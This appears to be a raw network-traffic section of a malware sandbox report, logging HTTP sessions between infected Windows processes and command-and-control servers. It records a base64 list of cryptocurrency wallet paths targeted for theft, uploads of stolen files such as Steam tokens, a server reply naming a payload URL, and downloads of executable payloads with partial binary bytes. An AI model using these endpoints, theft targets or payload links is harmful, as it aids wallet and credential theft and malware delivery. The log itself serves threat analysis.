Jan 3, 2025 15:22:04.923742056 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jan 3, 2025 15:22:05.013586044 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="message"files------KJKKKJJJKJKFHJJJJECB--
Jan 3, 2025 15:22:05.232956886 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:22:05.249061108 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file"------AAEBAFBGIDHCBFHIECFC--
Jan 3, 2025 15:22:06.034904957 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:22:06.061176062 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="message"ybncbhylepme------CBFBGCGIJKJJKFIDBFCG--
Jan 3, 2025 15:22:06.281146049 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Jan 3, 2025 15:22:09.898997068 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEGIDHDHIDGIEBGIJEH--
Jan 3, 2025 15:22:10.842103004 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50024	185.215.113.43	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:03.776982069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 3, 2025 15:22:04.502007008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50025	185.215.113.43	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:06.022277117 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 3, 2025 15:22:06.752643108 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 63 31 0d 0a 20 3c 63 3e 31 30 32 39 38 36 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 64 63 37 31 35 31 63 65 63 30 32 62 34 31 39 31 64 30 33 35 34 39 61 63 39 62 33 30 32 62 65 62 34 39 61 35 35 33 36 65 36 23 31 30 32 39 39 31 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 32 39 39 32 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 35 36 63 38 61 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 32 39 39 32 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 [TRUNCATED] Data Ascii: 5c1 <c>1029869001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2dc7151cec02b4191d03549ac9b302beb49a5536e6#1029919001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1029920001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc56c8a0e5ebf5de04349025080d9#1029921001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1029922001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1029923001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1029924001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96d9b4247bc52ea03564d5b9cd3e956b7b5d1#1029925001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1029926001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1029927001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1029928001+++fc [TRUNCATED]
Jan 3, 2025 15:22:06.752659082 CET	124	IN	Data Raw: 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 32 39 39 32 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 Data Ascii: 4f4b2846d934f48b15eaa495c49#1029929001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#
Jan 3, 2025 15:22:06.882293940 CET	304	IN	Data Raw: 31 30 32 39 39 33 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 Data Ascii: 1029930001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1029931001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1029932001+++b5937c1a99d5f9df0b5dafc85062384760

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50026	185.215.113.16	80	3872	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:06.290168047 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jan 3, 2025 15:22:06.990670919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:05 GMT Content-Type: application/octet-stream Content-Length: 3183616 Last-Modified: Fri, 03 Jan 2025 13:55:02 GMT Connection: keep-alive ETag: "6777ec36-309400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@0F0@Wk00 @.rsrc@.idata @fjvnplhk))@netceafy0n0@.taggant00"r0@
Jan 3, 2025 15:22:06.990690947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:06.990701914 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:06.990711927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 3, 2025 15:22:06.990721941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: u;vY^mqM8vYU^mqME
Jan 3, 2025 15:22:06.990731955 CET	48	IN	Data Raw: 4e da e7 7e 38 35 54 c4 b2 41 de a2 b1 59 9d 2e cc e5 a5 26 bf 1b a4 7e 58 18 71 4d ce c3 b9 a6 46 da e7 7e 38 b5 5b c4 b2 41 3e ad b1 59 9d 4e Data Ascii: N~85TAY.&~XqMF~8[A>YN
Jan 3, 2025 15:22:06.990813017 CET	1236	IN	Data Raw: ca e5 a5 26 9f 1b a4 7e 58 18 71 4d ce c3 b9 a6 5e da e7 7e 38 fd 52 c4 b2 41 9e a2 b1 59 9d ee cb e5 a5 26 ff 1e a4 7e 58 18 71 4d ce c3 b9 a6 96 da e7 7e 38 f5 5e c4 b2 41 fe a2 b1 59 9d 0e cb e5 a5 26 df 1e a4 7e 58 18 71 4d ce c3 b9 a6 6e da Data Ascii: &~XqM^~8RAY&~XqM~8^AY&~XqMn~8UA^Y&?~XqMf~8E^AY&~XqM~~8hAYn&~XqM6~8TA~Y&_~XqM~8QhAY.&~XqM
Jan 3, 2025 15:22:06.990886927 CET	1236	IN	Data Raw: 38 f5 51 c4 b2 41 de a5 b1 59 9d 2e dd e5 a5 26 bf 12 a4 7e 58 18 71 4d ce c3 bd a6 aa 24 f8 7e 38 85 53 c4 b2 41 3e a4 b1 59 9d 4e db e5 a5 26 9f 12 a4 7e 58 18 71 4d ce c3 49 a6 a6 24 f8 7e 38 6d 5e c4 b2 41 9e a5 b1 59 9d ee dc e5 a5 26 ff 1d Data Ascii: 8QAY.&~XqM$~8SA>YN&~XqMI$~8m^AY&~XqMN$~89WAY&~XqMIZ$~8iA^Y&?~XqMb$~8[AY&~XqM6$~8PAYn&~XqMM$~8^A~Y&_
Jan 3, 2025 15:22:06.990899086 CET	1236	IN	Data Raw: 58 18 71 4d ce c3 bd a6 1e 20 f8 7e 38 bd 5a c4 b2 41 7e 9b b1 59 9d 8e ee e5 a5 26 5f 11 a4 7e 58 18 71 4d ce c3 bd a6 2a 20 f8 7e 38 55 5f c4 b2 41 de 98 b1 59 9d 2e ee e5 a5 26 bf 11 a4 7e 58 18 71 4d ce c3 b5 a6 26 20 f8 7e 38 bd 54 c4 b2 41 Data Ascii: XqM ~8ZA~Y&_~XqM* ~8U_AY.&~XqM& ~8TA>YN&~XqM ~8-RAY&~XqM ~8ZAY&~XqM ~85ZA^Y&?~XqM ~8SAY&~XqMM ~8%SA
Jan 3, 2025 15:22:06.990909100 CET	1236	IN	Data Raw: 07 7a 80 39 ce 6d 71 4d ce 6d 71 4d ce 6d 71 4d ce ea 3a 2d 07 e2 bd 03 75 a9 f5 af fb ca b1 26 2d 5c 2e 1c 0f 65 b1 b3 cf 6d 71 4d ce 6d 71 4d ce ea 3a 2d 0f 4d b1 df 86 b9 e7 7e be 1a 3c ba fe 20 88 86 0d 9a 29 b7 07 4e 3c aa e6 22 ff 7a f3 9a Data Ascii: z9mqMmqMmqM:-u&-\.emqMmqM:-M~< )N<"z-~@>{tYw&~!:Gb&~z8YqM:-D C0fZ~wy&^~e8YqM"z^{tY&/~XqMmqMmqMmqM z9${ubM:-D tfZ~AA
Jan 3, 2025 15:22:06.995803118 CET	1236	IN	Data Raw: a7 67 3c c2 12 ee f3 51 c9 d4 58 f9 7d 7d b5 03 b6 af 3c ba da 22 f8 46 8b 98 f8 46 8f 49 f7 26 29 b3 a2 7e 06 9a 05 f8 f6 ad 67 85 b4 59 1a 69 f3 9a 05 79 fa ca 05 ae 0d e2 7d 21 7d c4 a4 7e 06 ea 79 f8 f8 a9 93 62 06 e2 d5 b8 07 1e 24 13 b2 a9 Data Ascii: g<QX}}<"FFI&)~gYiy}!}~yb$~:bX"9,\|$zyYxFE5HuqC".\|aOafY~"zYGuaGuA&~f2~S p dY~I]";d]"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50027	31.41.244.11	80	8156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:22:06.891793013 CET	66	OUT	GET /files/7254021059/abu7zly.exe HTTP/1.1 Host: 31.41.244.11
Jan 3, 2025 15:22:07.578461885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 03 Jan 2025 14:22:07 GMT Content-Type: application/octet-stream Content-Length: 1853952 Last-Modified: Fri, 03 Jan 2025 12:34:08 GMT Connection: keep-alive ETag: "6777d940-1c4a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3e 1a 6f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 00 00 00 8e 01 00 00 00 00 00 00 20 47 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 47 00 00 04 00 00 7f 3b 1d 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 60 02 00 69 00 00 00 00 c0 00 00 20 8b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 02 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 